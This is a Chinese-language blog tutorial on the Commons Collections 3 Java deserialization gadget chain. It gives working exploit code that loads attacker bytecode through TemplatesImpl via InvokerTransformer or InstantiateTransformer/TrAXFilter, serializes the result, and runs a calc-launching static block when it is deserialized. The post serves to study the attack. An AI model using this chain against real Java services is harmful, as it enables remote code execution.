CommonsCollections3

CommonsCollections3

版权申明:本文为原创文章,转载请注明原文出处

原文链接:http://example.com/post/6b2bc129.html

CommonsCollections3

特点

更换命令执行方式,之前是 Runtime.getRuntime().exec("calc"); ,但很多时候可能存在Runtime过滤的情况,因此将执行命令方式更换为类动态加载执行命令

找链子

在 中提到动态加载过程:loadClass->findClass(重写的方法)->defineClass(从字节码加载)

因此我们可以使用defineClass加载我们生成好的执行命令对象,defineClass只能是加载,加载后的class对象还需要进行newinstance实例化才能执行代码块

此处选择的是TemplatesImpl类,查看该类的defineClass方法,可以看到是Class

public:希望方法对所有类都可见且可访问时,例如公共 API 的方法。

private:希望方法只在类内部使用时,例如辅助性方法,不希望暴露给其他类使用。

protected:希望方法可以在同一个包内以及在子类中使用时,例如需要扩展和重写的方法。

默认(包私有):希望方法只在同一个包内使用,不希望暴露给其他包或子类时。

1
2
3
4
5
6
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

此处的b应该传入构造的用于执行代码的对象的字节

首先创建该字节,构造一段执行代码的代码,然后编译,在out文件夹中找到对应的class文件,此处我生成的的是Hello.class文件,读取文件字节代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
byte[] code= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Hello.class"));

\\ Hello.java:
import java.io.IOException;

public class Hello {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

因此应该想办法将这个code传入到上面的defineClass,同时再想办法执行newinstance进行实例化才能执行静态代码块,而上面的defineClass是不允许外部调用的,查看其调用过程

TemplatesImpl类的defineTransletClasses方法中实现了唯一的调用,此处有几个地方需要注意,首先是_bytecodes变量不能为null,并且可以看到传入的对象是_bytecodes[i],因此_bytecodes实际上应该是一个二维数组,还有就是_tfactory也不能为空,否则无法执行到下面的语句

image-20240612100218227

下面还有一个值得注意的地方,此处的_auxClasses只有在classCount大于1的时候才执行,而下面if语句中只有获取到加载的我们的类的父类和ABSTRACT_TRANSLET相等才不能进入else语句,因此此处可以使classCount数量大于1

image-20240612100510215

最后假设我们能够顺利加载类,还应该对加载的类进行实例化才能执行我们的静态代码块,因此继续找调用defineTransletClasses方法并且进行实例化的函数,此处找到的是getTransletInstance方法,如下所示,该方法在调用defineTransletClasses之后对加载的类_class进行了实例化

image-20240612100945462

代码构造

首先新建TemplatesImpl

1
TemplatesImpl templates = new TemplatesImpl();

然后确定_name变量不能为空,_class变量不能为空,_transletIndex变量不能为-1,_tfactory变量不能为空,_bytecodes长度应该为2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Class clazz = TemplatesImpl.class;
Field field = clazz.getDeclaredField("_name");
field.setAccessible(true);
field.set(templates, "123");
byte[] code= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Hello.class"));
byte[] code2= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Test.class"));
field = clazz.getDeclaredField("_bytecodes");
field.setAccessible(true);
// bytecodes的长度设置为2
field.set(templates, new byte[][]{code, code2});
field= clazz.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates, new TransformerFactoryImpl());
field= clazz.getDeclaredField("_transletIndex");
field.setAccessible(true);
field.set(templates, 0);

由于getTransletInstanceprivate,因此找到调用该方法的public方法newTransformer

image-20240612101351398

调用构造的TemplatesImpl对象的newTransformer方法就可以执行我们的代码

image-20240612101455864

为了实现反序列化执行代码,可以直接使用前两篇中的InvokerTransformertransformer漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
        TemplatesImpl templates = new TemplatesImpl();
Class clazz = TemplatesImpl.class;
Field field = clazz.getDeclaredField("_name");
field.setAccessible(true);
field.set(templates, "123");
byte[] code= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Hello.class"));
byte[] code2= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Test.class"));
field = clazz.getDeclaredField("_bytecodes");
field.setAccessible(true);
// bytecodes的长度设置为2
field.set(templates, new byte[][]{code, code2});
field= clazz.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates, new TransformerFactoryImpl());
field= clazz.getDeclaredField("_transletIndex");
field.setAccessible(true);
field.set(templates, 0);
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}),
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map tmplazymap= LazyMap.decorate(map,transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(map,"1");
HashMap hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"2");
Class tiedMapEntryClass = TiedMapEntry.class;
Field tiedMapEntryClassDeclaredField = tiedMapEntryClass.getDeclaredField("map");
tiedMapEntryClassDeclaredField.setAccessible(true);
tiedMapEntryClassDeclaredField.set(tiedMapEntry,tmplazymap);
serialize(hashMap);
unserialize("data.bin");

除了使用InvokerTransformertransform方法漏洞,此处还能调用InstantiateTransformer方法,原理是实现调用构造的TemplatesImpl对象的newTransformer方法

1
2
3
4
5
6
7
8
9
10
11
12
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param paramTypes 一个 Class[] 数组,表示构造函数参数的类型。这些类型不被克隆(即不创建参数类型的副本,而是直接引用传递进来的数组)。
* @param args 一个 Object[] 数组,表示构造函数的实际参数。这些参数也不被克隆(即不创建参数的副本,而是直接引用传递进来的数组)。
*/
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}

该方法的transform方法实现了构造input的构造函数,并以输入的Class数组作为传输传递

image-20240612102359835

这里使用的是TrAXFilter类,就相当于TrAXFilter将要接受iParamTypes类型的class的参数进行实例化,因为TrAXFilter的初始化函数中实现了调用输入参数的newTransformer方法

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

因此上面的iParamTypes应该是templatesclass类型,iArgs就是templates

InstantiateTransformer类的构造方法如下

1
2
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

最后将InstantiateTransformer类放入transformerChain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
        TemplatesImpl templates = new TemplatesImpl();
Class clazz = TemplatesImpl.class;
Field field = clazz.getDeclaredField("_name");
field.setAccessible(true);
field.set(templates, "123");
byte[] code= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Hello.class"));
byte[] code2= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Test.class"));
field = clazz.getDeclaredField("_bytecodes");
field.setAccessible(true);
// bytecodes的长度设置为2
field.set(templates, new byte[][]{code, code2});
field= clazz.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates, new TransformerFactoryImpl());
field= clazz.getDeclaredField("_transletIndex");
field.setAccessible(true);
field.set(templates, 0);
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map tmplazymap= LazyMap.decorate(map,transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(map,"1");
HashMap hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"2");
Class tiedMapEntryClass = TiedMapEntry.class;
Field tiedMapEntryClassDeclaredField = tiedMapEntryClass.getDeclaredField("map");
tiedMapEntryClassDeclaredField.setAccessible(true);
tiedMapEntryClassDeclaredField.set(tiedMapEntry,tmplazymap);
serialize(hashMap);
unserialize("data.bin");
Author

yyyyyyxnp

Posted on

2024-06-11

Updated on

2024-09-29

Licensed under

You need to set install_url to use ShareThis. Please set it in _config.yml.
You forgot to set the business or currency_code for Paypal. Please set it in _config.yml.

Comments

You forgot to set the shortname for Disqus. Please set it in _config.yml.